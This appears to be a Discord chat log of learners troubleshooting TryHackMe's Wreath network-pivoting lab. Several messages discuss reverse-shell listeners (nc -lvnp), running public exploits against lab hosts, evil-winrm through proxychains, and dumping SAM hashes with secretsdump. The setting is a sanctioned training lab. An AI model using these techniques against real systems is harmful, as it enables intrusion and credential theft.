I'm waiting to speak to the last runner up, but the winners are chosen and have all been spoken to

tranquil river Apr 20, 2021, 3:38 PM

#

Ooh exciting! I never finished it as I don't have my own PC so couldn't use a local VM 😦

tranquil river Apr 20, 2021, 3:42 PM

#

merry robin I accepted the reports yesterday <@!821826636164235294>, so you can read them wh...

Thank you for letting me know! 🙂

winter lintelBOT Apr 20, 2021, 3:42 PM

#

Gave +1 Rep to @merry robin

tranquil river Apr 20, 2021, 3:43 PM

#

~~I'm just trying to give people rep points~~

stoic flicker Apr 20, 2021, 3:49 PM

#

tacit frigate i've definately added the users to the right groups as per guide:

you don't seem to have Administrators in your screenshot

tacit frigate Apr 20, 2021, 3:49 PM

#

yep i got it now 😄 sorry all!

stoic flicker Apr 20, 2021, 3:49 PM

#

no worries

tranquil river Apr 20, 2021, 3:59 PM

#

Btw @merry robin congratulations on wreath, an amazing network, must have taken you so long to build the boxes, then write the content! It's such a fun room.

stoic flicker Apr 20, 2021, 4:47 PM

#

need to finish that tonight...then write the report :/

crisp fjord Apr 20, 2021, 5:18 PM

#

i am not abel to scan the give target IP

#

with nmap

#

can anyone can help me with that ?

surreal sail Apr 20, 2021, 5:22 PM

#

are you sure u're are connected to the Wreath Network?

#

on the network configuration where we download our vpn connection profiles?

crisp fjord Apr 20, 2021, 5:23 PM

#

yes

#

but its not work i check everything

#

surreal sail Apr 20, 2021, 5:24 PM

#

Hi i have a query on task 20. Can someone help

surreal sail Apr 20, 2021, 5:26 PM

#

crisp fjord but its not work i check everything

try sudo nmap -sV -sC -O [ip]

#

I have founded the exploit for gitstack but its written in python2 but when i run the exploit it shows error no module named requests

#

I have installed it already

#

Module requests

crisp fjord Apr 20, 2021, 5:28 PM

#

surreal sail try sudo nmap -sV -sC -O [ip]

surreal sail Apr 20, 2021, 5:29 PM

#

Changing the default python interpreter from python3 to python2 didn't helped

#

add a -Pn to remove pinging @crisp fjord

crisp fjord Apr 20, 2021, 5:30 PM

#

surreal sail add a -Pn to remove pinging <@541282503575470081>

#

crisp fjord Apr 20, 2021, 5:32 PM

#

surreal sail add a -Pn to remove pinging <@541282503575470081>

surreal sail Apr 20, 2021, 5:32 PM

#

does the hint work? (the image u sent)

crisp fjord Apr 20, 2021, 5:33 PM

#

surreal sail does the hint work? (the image u sent)

nope

#

#

my vpn connect as well

#

problem is somewhere elese

#

i think someone messedup with this network

#

even icant open that network ip on my browser !

surreal sail Apr 20, 2021, 5:35 PM

#

crisp fjord nope

vote for reset

crisp fjord Apr 20, 2021, 5:35 PM

#

alread did

surreal sail Apr 20, 2021, 5:36 PM

#

crisp fjord

or try nmap [IP] -Pn

crisp fjord Apr 20, 2021, 5:36 PM

#

i try that man

#

nothing is work

#

i send ss

#

see

surreal sail Apr 20, 2021, 5:36 PM

#

maybe vote for the reset

crisp fjord Apr 20, 2021, 5:36 PM

#

crisp fjord

.

surreal sail Apr 20, 2021, 5:36 PM

#

crisp fjord see

on which task are you

crisp fjord Apr 20, 2021, 5:37 PM

#

task 5

surreal sail Apr 20, 2021, 5:41 PM

#

crisp fjord task 5

Bro I am getting the ports

crisp fjord Apr 20, 2021, 5:42 PM

#

you are on same

#

ip network

#

?

surreal sail Apr 20, 2021, 5:42 PM

#

nope 87.200

crisp fjord Apr 20, 2021, 5:42 PM

#

problem with my network not yours so you are getting

#

im on 83.200

surreal sail Apr 20, 2021, 5:43 PM

#

commands are right wait for the network rest or delete the current connection pack and generate new and then try

crisp fjord Apr 20, 2021, 5:43 PM

#

ohk

surreal sail Apr 20, 2021, 5:43 PM

#

you will get different network

crisp fjord Apr 20, 2021, 5:44 PM

#

ohk ok

#

thank you

#

lol i got same

#

ip

surreal sail Apr 20, 2021, 5:44 PM

#

crisp fjord thank you

that's ok but someone here to solve my query

surreal sail Apr 20, 2021, 5:46 PM

#

crisp fjord lol i got same

you got the same then you have to wait for your connection pack to get expired or wait for network reset

surreal sail Apr 20, 2021, 5:47 PM

#

crisp fjord ip

Have you used regenerate option

#

@oblique crag admin please help ?

oblique crag Apr 20, 2021, 5:56 PM

#

Hey! I'm currently preoccupied. My current recommendation would be to check out the videos attached to each task if this is related to room questions. Regarding other items, please email support@tryhackme.com :)

ionic river Apr 20, 2021, 8:43 PM

#

Anyone having issues with this room?

#

Can't seem to get a shell now when I have done before

dry pendant Apr 20, 2021, 8:43 PM

#

surreal sail Hi i have a query on task 20. Can someone help

Don't ask to ask, just ask the question and if someone can help, they will 🙂

dry pendant Apr 20, 2021, 8:44 PM

#

ionic river Anyone having issues with this room?

Give more detail. Which task are you on, etc.

ionic river Apr 20, 2021, 8:44 PM

#

./CVE-2019-15107.py TARGET_IP

#

[-] Failed to connect to http://10.200.91.xxx:10000/

dry pendant Apr 20, 2021, 8:46 PM

#

any other error message?

ionic river Apr 20, 2021, 8:46 PM

#

no

dry pendant Apr 20, 2021, 8:47 PM

#

screenshot it maybe? Which task are you on? Is this before the chisel and sshuttle pieces?

ionic river Apr 20, 2021, 8:47 PM

#

I'm trying to get up to that bit

#

so I'm on q17

#

but trying to get shell again

#

dry pendant Apr 20, 2021, 8:48 PM

#

side note: might want to get out of the habit of running everything as root :). Not the issue, just mentioning it

#

so you HAD a shell before, and you lost it?

ionic river Apr 20, 2021, 8:49 PM

#

dry pendant side note: might want to get out of the habit of running everything as root :). ...

I know, but I just use it for try hack me so no biggie really

ionic river Apr 20, 2021, 8:49 PM

#

dry pendant so you HAD a shell before, and you lost it?

yeah, exactly

dry pendant Apr 20, 2021, 8:49 PM

#

was it because of a network timeout? Network reset? Or something else?

ionic river Apr 20, 2021, 8:49 PM

#

nope

dry pendant Apr 20, 2021, 8:54 PM

#

So you're on task 6, correct? Webserver exploitation?

#

Things I'd check: Are you connected to the vpn? Is the network up? (sometimes a page refresh shows more accurate data on that) Can you ping the .200 machine?

#

If the IP of your network changed or your vpn config changed, make sure that you've updated your /etc/hosts file

tawny fulcrum Apr 20, 2021, 10:03 PM

#

#

any mistakes i made?

digital tendon Apr 20, 2021, 10:06 PM

#

well it says destination folder doesn't exist

#

so, I think probably

tawny fulcrum Apr 20, 2021, 10:08 PM

#

digital tendon well it says destination folder doesn't exist

my retry after creating the directory

digital tendon Apr 20, 2021, 10:08 PM

#

ok well now it looks like you fixed one error you just have to fix the cause of 'not a git repository'

#

which, would lead me to think you don't have a git repository?

tawny fulcrum Apr 20, 2021, 10:09 PM

#

digital tendon which, would lead me to think you don't have a git repository?

#

i made a .git

#

like instructions said

#

hmmm

digital tendon Apr 20, 2021, 10:12 PM

#

i dunno that doesn't look like what I did

tawny fulcrum Apr 20, 2021, 10:12 PM

#

i think i should watch dark's video

stoic flicker Apr 20, 2021, 10:12 PM

#

oh hi @safe meteor

digital tendon Apr 20, 2021, 10:12 PM

#

tepid galleon Apr 20, 2021, 10:12 PM

#

Hello, I get a problem in task 6 reverse exploitation when I run #nc -lvnp 1234, there is nothing

tawny fulcrum Apr 20, 2021, 10:12 PM

#

digital tendon

you did it all on evilwinrm?

digital tendon Apr 20, 2021, 10:13 PM

#

I copied the git repository with it

tawny fulcrum Apr 20, 2021, 10:13 PM

#

digital tendon I copied the git repository with it

ye i did as well

digital tendon Apr 20, 2021, 10:13 PM

#

which took a while, then I extracted the website.git (didn't move it)

tawny fulcrum Apr 20, 2021, 10:13 PM

#

downloaded the website.git

stoic flicker Apr 20, 2021, 10:14 PM

#

I just used git clone Website.git instead of mucking about with GitTools, but those tools can be useful in other places

digital tendon Apr 20, 2021, 10:14 PM

#

if you downloaded it how does c:\GitStack\repositiories\Website.git work as anything

#

shouldn't it be in a folder on ur kali

tawny fulcrum Apr 20, 2021, 10:14 PM

#

tepid galleon Hello, I get a problem in task 6 reverse exploitation when I run #nc -lvnp 1234,...

press enter on the exploit

#

enter

#

then you will get a shell

#

it tells you to do so when you type the shell command and enter the host ip and port

tepid galleon Apr 20, 2021, 10:15 PM

#

tawny fulcrum it tells you to do so when you type the shell command and enter the host ip and ...

ok good it works, thank you

winter lintelBOT Apr 20, 2021, 10:15 PM

#

Gave +1 Rep to @tawny fulcrum

tawny fulcrum Apr 20, 2021, 10:15 PM

#

tepid galleon ok good it works, thank you

🙂

tawny fulcrum Apr 20, 2021, 10:17 PM

#

digital tendon shouldn't it be in a folder on ur kali

it is

#

it is a folder on my kali

#

just renamed it to .git

digital tendon Apr 20, 2021, 10:18 PM

#

I see, not actually sure for this

#

sorry

tawny fulcrum Apr 20, 2021, 10:19 PM

#

alright

#

ill do a bit of digging

#

thx for help anyway

stoic flicker Apr 20, 2021, 10:54 PM

#

hmm, can evil-winrm launch a script on spawn?

#

I want to write a script to set up my proxy, but it looks like I'll need to do it manually 😦

merry robin Apr 20, 2021, 11:13 PM

#

I don't think so, but you could write a powershell script to just activate as soon as you get into the server

#

There are actually powershell chisel ports, so you could do it entirely from memory too

naive raft Apr 20, 2021, 11:32 PM

#

Hey, so I am working on the Git server, however I cannot connect. It isn't pinging or resolving, I have tried on my machine and on prod, could it be down?

stoic flicker Apr 20, 2021, 11:37 PM

#

merry robin I don't *think* so, but you could write a powershell script to just activate as ...

yeah powershell doesn't seem to have access to the upload function though

#

oh well, close enough

#

oh...cat and a pipe seems to work

#

almost

#

wait no it works. I'm just an idiot

#

forgot the server part on the chisel

#

cat setup-proxy.ps1 | proxychains evil-winrm ...

#

it's a godugly hack but...

dry pendant Apr 20, 2021, 11:57 PM

#

If it's a hack but it works, it's not a hack™️

stoic flicker Apr 21, 2021, 12:04 AM

#

well I think I got the script to proxy back to the personal PC on a fresh network working

#

and I should be going to bed now

surreal sail Apr 21, 2021, 4:45 AM

#

dry pendant Don't ask to ask, just ask the question and if someone can help, they will 🙂

already posted the question

safe meteor Apr 21, 2021, 5:47 AM

#

stoic flicker oh hi <@!217652604493234186>

https://tenor.com/view/pedro-monkey-puppet-meme-awkward-gif-15268759

Tenor

tawny fulcrum Apr 21, 2021, 12:12 PM

#

getting the same error...

#

anyone have any ideas?

craggy berry Apr 21, 2021, 1:40 PM

#

tawny fulcrum getting the same error...

I have the same problem

scenic harbor Apr 21, 2021, 2:52 PM

#

tawny fulcrum getting the same error...

I think u should install the git once again and use git clone command

night mango Apr 21, 2021, 3:02 PM

#

Hi,
There is a bug for the Task 6 Webserver Exploitation on this question What is the root user's password hash?.
The root user's password hash on the machine is incorrect.
Indeed, I rewrite by hand the one in the @oblique crag 's video (https://www.youtube.com/watch?v=hu4d6nexAog&list=PLsqUCyw0Jf9sMYXly0uuwfKMu34roGNwk&index=3) and they are different.
The one in the video is correct when the one on the machine is not.
Any <@&568449888682246145> could make the change to match the hash on the machine and maybe put the last password on root in order to match the DarkSec video ?
PM open if needed.

oblique crag Apr 21, 2021, 3:03 PM

#

@merry robin might be best for this :)

night mango Apr 21, 2021, 3:03 PM

#

Ok

merry robin Apr 21, 2021, 3:03 PM

#

@night mango Disconnect from the VPN and DM me your config pack please 🙂

night mango Apr 21, 2021, 3:04 PM

#

(sorry for the ping so... but seems the one who could help me)

merry robin Apr 21, 2021, 3:11 PM

#

Root pass in 82 should now be fixed 🙂

stoic flicker Apr 21, 2021, 4:48 PM

#

Ah did someone change it?

tawny fulcrum Apr 21, 2021, 5:47 PM

#

scenic harbor I think u should install the git once again and use git clone command

git clone

#

?

#

i never used git clone

#

was i supposed to?

#

i think you have the key to my issue

tawny fulcrum Apr 21, 2021, 6:10 PM

#

hello?

#

NOOOOOOOOO!!!!!!!!

#

lol

stoic flicker Apr 21, 2021, 7:58 PM

#

well the walkthrough wants you to learn about GitTools

#

but git clone works as well 🙂

pallid vapor Apr 21, 2021, 8:10 PM

#

big brain

stoic flicker Apr 21, 2021, 8:44 PM

#

right then, now to bonk that last server

tawny fulcrum Apr 21, 2021, 8:53 PM

#

stoic flicker but git clone works as well 🙂

so how do i use git clone in this situation

#

git clone Website.git?

#

im kinda slow i apologise

stoic flicker Apr 21, 2021, 8:55 PM

#

that should work

tawny fulcrum Apr 21, 2021, 8:56 PM

#

on attacking machine

#

or on evilwinrm

stoic flicker Apr 21, 2021, 10:28 PM

#

attack

#

download locally first

#

using evil-winrm

stoic flicker Apr 21, 2021, 11:29 PM

#

whoo rev shell script up 😄

#

really should add the -q to proxychains though, it's very chatty

merry robin Apr 21, 2021, 11:30 PM

#

Then how are you meant to debug?

stoic flicker Apr 21, 2021, 11:30 PM

#

it works. who cares? 😉

#

wait I have to grab Visual Studio again? Muiri 😦

merry robin Apr 21, 2021, 11:32 PM

#

Just do it with mono

stoic flicker Apr 21, 2021, 11:32 PM

#

yeah.../me sighs

#

oh...darn

#

#

still shows as running though

#

ah there it goes...

#

Everything went boom

jagged lion Apr 22, 2021, 2:26 AM

#

Mono scares me

naive raft Apr 22, 2021, 4:16 AM

#

I am unable to do anything to see if the Git Server is running, trying to ping from Prod and my local machine, vpn connected, unsure how to progress.

safe meteor Apr 22, 2021, 8:07 AM

#

stoic flicker wait I have to grab Visual Studio again? Muiri 😦

I am at that task to🤣

runic marsh Apr 22, 2021, 8:08 AM

#

tawny fulcrum getting the same error...

Rename the Website repository to .git

safe meteor Apr 22, 2021, 8:08 AM

#

Sadly needed to go to the office 😦

#

Just 3 more tasks

stoic flicker Apr 22, 2021, 8:09 AM

#

Yeah them the hard part

stoic flicker Apr 22, 2021, 9:24 AM

#

Port 80 is already used, the task says to pick a high port

#

Like say 42069

safe meteor Apr 22, 2021, 9:25 AM

#

You should pick ports above 15000

#

And dont forget to use the right name for applications etc you upload

#

“socat-bushidosan”

#

Instead of just socat

stoic flicker Apr 22, 2021, 9:26 AM

#

Or for the PHP listeners

meager smelt Apr 22, 2021, 9:39 AM

#

Hey! I cannot run evil-winrm. I dont know ruby as much. Here's the output when executing the command:

#

<internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require': cannot load such file -- rexml/document (LoadError)
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/http/response_handler.rb:15:in `<top (required)>'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/http/transport.rb:16:in `require_relative'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/http/transport.rb:16:in `<top (required)>'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/http/transport_factory.rb:15:in `require_relative'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/http/transport_factory.rb:15:in `<top (required)>'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/connection.rb:16:in `require_relative'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm/connection.rb:16:in `<top (required)>'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm.rb:17:in `require_relative'
        from /home/<username>/.local/share/gem/ruby/3.0.0/gems/winrm-2.3.6/lib/winrm.rb:17:in `<top (required)>'
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:160:in `require'
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:160:in `rescue in require'
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:149:in `require'
        from ./evil-winrm.rb:8:in `<main>'
<internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require': cannot load such file -- winrm (LoadError)
        from <internal:/usr/lib/ruby/3.0.0/rubygems/core_ext/kernel_require.rb>:85:in `require'
        from ./evil-winrm.rb:8:in `<main>'```

#

nvm had to install rexml. It's working now

merry robin Apr 22, 2021, 10:13 AM

#

Nice debugging!

stoic flicker Apr 22, 2021, 11:33 AM

#

I guess apt did it automatically

tawny fulcrum Apr 22, 2021, 12:07 PM

#

runic marsh Rename the Website repository to .git

i did brother

tawny fulcrum Apr 22, 2021, 12:24 PM

#

craggy berry I have the same problem

did you fix it? if yes, how?

#

im so dumb kekw

#

got it fixed

safe meteor Apr 22, 2021, 5:37 PM

#

tawny fulcrum im so dumb <:kekw:658061932577816606>

You gave the directory a name instead of only .git ?

tawny fulcrum Apr 22, 2021, 5:37 PM

#

any fixes?

tawny fulcrum Apr 22, 2021, 5:37 PM

#

safe meteor You gave the directory a name instead of only .git ?

i dont remember how i fixed it

#

but it was a really dumb mistake

tawny fulcrum Apr 22, 2021, 5:38 PM

#

tawny fulcrum any fixes?

any fixes for this tho?

safe meteor Apr 22, 2021, 5:39 PM

#

Which task ?

#

Probally not wreath ?

tawny fulcrum Apr 22, 2021, 5:39 PM

#

43

#

nah its wreath

safe meteor Apr 22, 2021, 5:40 PM

#

ahh yeah I am at 42 xD

tawny fulcrum Apr 22, 2021, 5:40 PM

#

had to use secretsdump to get the hashes

tawny fulcrum Apr 22, 2021, 5:40 PM

#

safe meteor ahh yeah I am at 42 xD

ahhh

#

tell me how it goes

#

once you get there

safe meteor Apr 22, 2021, 5:40 PM

#

Sure will do!

tawny fulcrum Apr 22, 2021, 5:40 PM

#

🙂

safe meteor Apr 22, 2021, 5:40 PM

#

Dark has btw a complete walkthrough if your stuck

#

You can watch the first part to get a hint xD

tawny fulcrum Apr 22, 2021, 5:41 PM

#

safe meteor Dark has btw a complete walkthrough if your stuck

watched it, didnt help much

runic marsh Apr 22, 2021, 5:41 PM

#

tawny fulcrum any fixes?

Not sure why didn't you get them via the mimikatz suggested. Perhaps try running file on both the sam.bak and system.bak files to check which type they actually are

tawny fulcrum Apr 22, 2021, 5:41 PM

#

runic marsh Not sure why didn't you get them via the mimikatz suggested. Perhaps try running...

??? what task you on brother

runic marsh Apr 22, 2021, 5:41 PM

#

however, if I remember correctly, when I did that somewhere else with those both files, they were just named SYSTEM and SAM

tawny fulcrum Apr 22, 2021, 5:41 PM

#

u cant get mimikatz on the last one

runic marsh Apr 22, 2021, 5:42 PM

#

ahh, sorry

tawny fulcrum Apr 22, 2021, 5:42 PM

#

you gotta use secretsdump

runic marsh Apr 22, 2021, 5:42 PM

#

I thought you were on the git machine lol

tawny fulcrum Apr 22, 2021, 5:42 PM

#

runic marsh ahh, sorry

its fine

tawny fulcrum Apr 22, 2021, 5:42 PM

#

runic marsh I thought you were on the git machine lol

lol

runic marsh Apr 22, 2021, 5:42 PM

#

but yeah, try perhaps checking the file for validation

#

or renaming them to SYSTEM and SAM

tawny fulcrum Apr 22, 2021, 5:43 PM

#

runic marsh or renaming them to SYSTEM and SAM

capital?

runic marsh Apr 22, 2021, 5:43 PM

#

yep, without the .bak

tawny fulcrum Apr 22, 2021, 5:43 PM

#

will the capital lettes make a difference?

#

im pretty sure its a python error

runic marsh Apr 22, 2021, 5:43 PM

#

not sure

#

try running it on python2?

tawny fulcrum Apr 22, 2021, 5:44 PM

#

when you look the error up it says its a python error

tawny fulcrum Apr 22, 2021, 5:44 PM

#

runic marsh try running it on python2?

runic marsh Apr 22, 2021, 5:44 PM

#

oh boy

#

sudoing the python 3 does anything?

tawny fulcrum Apr 22, 2021, 5:46 PM

#

thats weird, sudoing it makes it not work

#

and btw i did the same commands as dark

runic marsh Apr 22, 2021, 5:50 PM

#

I think the LOCAL parameter might be missing something

#

https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py LOCAL shows as a parameter of an argument called target, so perhaps try either target=LOCAL or target LOCAL, or remove LOCAL?

tawny fulcrum Apr 22, 2021, 5:57 PM

#

#

#

#

all 3 tries

#

i think the problem is in the LOCAL bit

#

idk tbh

runic marsh Apr 22, 2021, 6:00 PM

#

no, you need to rename the files

#

take from them the .bak extension

tawny fulcrum Apr 22, 2021, 6:01 PM

#

dark didnt change the extensions

#

but it worked

#

but its still worth a try

runic marsh Apr 22, 2021, 6:01 PM

#

the .bak was used to get the files out of the machine I think

#

but to dump the file it needs to have no extension

tawny fulcrum Apr 22, 2021, 6:04 PM

#

this is very weird

#

nothing is working

runic marsh Apr 22, 2021, 6:08 PM

#

mh, I have no idea

#

you could try downgrading the Impacket to a standard release and not a dev release

#

latest according to github seems to be 0.9.22, you have dev 0.9.23

tawny fulcrum Apr 22, 2021, 6:11 PM

#

how do i get 0.9.22

#

can u link it?

runic marsh Apr 22, 2021, 6:13 PM

#

https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_22

karmic loom Apr 22, 2021, 6:23 PM

#

hi! my network got reset and now I'm having issues with ssh connection to Webserver
It seems to be related to the fact that webserver does not have its public key in autorized_keys
As a result, I cannot use private key form the server for ssh connection. I also cannot edit autorized_keys
Is such situation possible or I'm missing something?

tawny fulcrum Apr 22, 2021, 6:23 PM

#

same issue

#

im stumped

runic marsh Apr 22, 2021, 6:27 PM

#

tawny fulcrum same issue

Do have either of the files open in the background? close them and try rerunning the script

tawny fulcrum Apr 22, 2021, 6:27 PM

#

which files?

runic marsh Apr 22, 2021, 6:27 PM

#

the sam or system

tawny fulcrum Apr 22, 2021, 6:28 PM

#

and what do you mean by open?

runic marsh Apr 22, 2021, 6:28 PM

#

karmic loom hi! my network got reset and now I'm having issues with ssh connection to Webser...

I think the network is stopped at this moment, could that be it?

runic marsh Apr 22, 2021, 6:28 PM

#

tawny fulcrum and what do you mean by open?

Like open in the text editor. I see something in the background of your terminal, but not sure if are those files or something else

tawny fulcrum Apr 22, 2021, 6:29 PM

#

runic marsh Like open in the text editor. I see something in the background of your terminal...

ah thats the php webshell 😂

runic marsh Apr 22, 2021, 6:29 PM

#

ahh haha

karmic loom Apr 22, 2021, 6:30 PM

#

runic marsh I think the network is stopped at this moment, could that be it?

no, it's definitely running
I will add printscreens to explain the issue better (after I figure out how discord works 😂 )

runic marsh Apr 22, 2021, 6:31 PM

#

karmic loom no, it's definitely running I will add printscreens to explain the issue better ...

Perhaps they limited the amount of people who have access to the same spawn of the network. For me it shows as stopped. Remember to reload the page of the Wreath room to check the status

runic marsh Apr 22, 2021, 6:31 PM

#

tawny fulcrum ah thats the php webshell 😂

You could try it with a program called samdump2 if the impacket didn't work

tawny fulcrum Apr 22, 2021, 6:32 PM

#

runic marsh You could try it with a program called samdump2 if the impacket didn't work

ok

karmic loom Apr 22, 2021, 6:32 PM

#

runic marsh Perhaps they limited the amount of people who have access to the same spawn of t...

are you sure we are using the same net? for me webserver is 10.200.89.200

runic marsh Apr 22, 2021, 6:33 PM

#

karmic loom are you sure we are using the same net? for me webserver is 10.200.89.200

Ahh, perhaps not. For me it is 10.200.111.200, altough last week it was at 10.200.80.200

#

you could try logging with the SSH keys through a different port, but if the public key got deleted perhaps the network might need to reset

stoic flicker Apr 22, 2021, 6:37 PM

#

runic marsh Perhaps they limited the amount of people who have access to the same spawn of t...

There should be about 8-10 people to a network I'd guess

tawny fulcrum Apr 22, 2021, 6:40 PM

#

I FOUND MY MISTAKE

#

AHAHAHAHAHHAHAHHAHA

#

ITS SOOOOOOO DUMB

runic marsh Apr 22, 2021, 6:41 PM

#

let me guess: the sam and system files where in another folder?

#

ahahah

tawny fulcrum Apr 22, 2021, 6:41 PM

#

NO I SAVED BOTH OF THEM WITH REG AS HKLM/SAM

#

AHAHAHHAHAHHA

#

IM SOOOOOO DUMB

runic marsh Apr 22, 2021, 6:41 PM

#

ahhh

#

hahahah

#

it happens 😛

runic marsh Apr 22, 2021, 6:42 PM

#

stoic flicker There should be about 8-10 people to a network I'd guess

they also changed some things. When I first joined the network, it had up to 8 votes for reset. Then 4. Now it's at 2

stoic flicker Apr 22, 2021, 6:48 PM

#

Oops

#

Oh?

#

Was 8 on my instance last night afaik

#

Might be related to number of people on the server

dry pendant Apr 22, 2021, 6:49 PM

#

Probably that's related to the number of people currently on that subnet. You get kicked off after 10 days

runic marsh Apr 22, 2021, 6:58 PM

#

Ahh, I see. I thought you got kicked out of the room and had to rejoin, but that makes sense. Thanks

tawny fulcrum Apr 22, 2021, 7:07 PM

#

https://tryhackme.com/helloworld.exe/badges/wreath

runic marsh Apr 22, 2021, 7:09 PM

#

tawny fulcrum https://tryhackme.com/helloworld.exe/badges/wreath

Congrats!

stoic flicker Apr 22, 2021, 7:12 PM

#

Grats

tranquil river Apr 22, 2021, 7:12 PM

#

tawny fulcrum https://tryhackme.com/helloworld.exe/badges/wreath

Well done! A great achievement 🙂

#

I never finished Wreath because I use AttackBox, but it taught me so much about pivoting, which I think is the most valuable lesson I got from it as I'd never done that before.

stoic flicker Apr 22, 2021, 9:19 PM

#

huzzah

pallid vapor Apr 22, 2021, 9:19 PM

#

nice :D

stoic flicker Apr 22, 2021, 9:19 PM

#

now for the hard part.

#

finding a way to generate a PDF

#

dang I didn't timestamp my exploits 😦

#

timeline will be hard

#

oh Joplin keeps timestamps, ok so I have approximate times then

naive raft Apr 22, 2021, 10:15 PM

#

Hey @merry robin, sorry for the ping but for like the past 3 days, i haven't been able to at all access the Git Server on Wreath, I have tried in my browser as well as pinging it from the Production Server and my computer.

merry robin Apr 22, 2021, 10:15 PM

#

naive raft Hey <@!650476435269484549>, sorry for the ping but for like the past 3 days, i h...

Do you have a proxy set up to access it?

pallid vapor Apr 22, 2021, 10:16 PM

#

@stoic flicker do you have any preferences over obsidian? if so, what are they? just wondering :D

stoic flicker Apr 22, 2021, 10:16 PM

#

I'm liking Joplin so far

#

some here swear by Notion

merry robin Apr 22, 2021, 10:16 PM

#

Cherrytree

#

Always Cherrytree

stoic flicker Apr 22, 2021, 10:24 PM

#

heh or that

#

Cherrytree has a bit of an archaic ui

naive raft Apr 22, 2021, 10:25 PM

#

merry robin Do you have a proxy set up to access it?

No, I presume I need one.

merry robin Apr 22, 2021, 10:26 PM

#

Yep

#

sshuttle being recommended for that bit

naive raft Apr 22, 2021, 10:26 PM

#

Ah, thanks.

rare snow Apr 22, 2021, 11:51 PM

#

Oof, I have an issue with the command and control part. I wanted to try it with Metasploit by using the reverse_hop_http to get a session on the git server by using the web server as a hop but it doesn't work

#

The handler gets set up and I can see that the php server receives the request, but after running the payload on the git server I only see a request on the php server and nothing else happens in Metasploit

naive raft Apr 23, 2021, 12:01 AM

#

Hey! So i am unable to ping the prod server, i had closed my pc earlier and it will no longer allow me to ping, i restarted my OpenVPN connection. and nothing works

stoic flicker Apr 23, 2021, 12:38 AM

#

Muiri, you're mean making me open Word for the first time ever on this PC...

#

but whatever I made a logo thing 🙂

#

ok it's late, naptime

jagged lion Apr 23, 2021, 2:16 AM

#

wait what

#

why can I remove attachments?

#

huh?

#

it pops up the prompt but doesnt do anything

civic stirrup Apr 23, 2021, 3:50 AM

#

Re: Task 20, final step of creating a reverse shell, I get a connection back but just a blinking cursor that does not respond to commands. We are talking to a Windows machine, correct? I even repeated executing the 43777.py exploit which confirmed an NT Authority shell. When I opened up port 15500 in the Firewall from .200 it responded to the command with 'success'. btw, using the url-encoder website, I selected encode to Windows CRLF AND unix LF on 2nd attempt, with same result. Which encoding is the correct one? I have screen shots of my other processes running available- did not want to clutter the feed;)

Screen_Shot_2021-04-22_at_8.42.34_PM.png

#

Screen_Shot_2021-04-22_at_8.22.46_PM.png

civic stirrup Apr 23, 2021, 4:29 AM

#

Listening on .200

Screen_Shot_2021-04-22_at_9.22.22_PM.png

runic marsh Apr 23, 2021, 5:31 AM

#

civic stirrup

I didn't go the sshuttle way, but why are you doing .150/24? as far as I know, /24 could be used after a .0 to check for the whole subnet segment

#

other than that, I had to first do a manual -d "a= ANY COMMAND" before the payload would work for me, but I didn't POST it to the server IP address, rather to the forward port I had established torwards my local machine

safe meteor Apr 23, 2021, 5:33 AM

#

civic stirrup Re: Task 20, final step of creating a reverse shell, I get a connection back bu...

Dark has some awesome walkthroughs you can use it to give yourself a small hint 😉

civic stirrup Apr 23, 2021, 6:15 AM

#

@runic marsh re: .150/24 -iirc, I was just following directions per the room. and it confirmed the connection with "c: connected to server" so I thought I was good to go. Alternatively, it gave another way using the -N flag to auto select the subnet. I will try that next. I was able to curl single commands at .150 no problem- maybe I should set up a new user account that way- lol.

#

@safe meteor thanks I have been reviewing the write-ups. I will check out Dark.

#wreath-network

whoami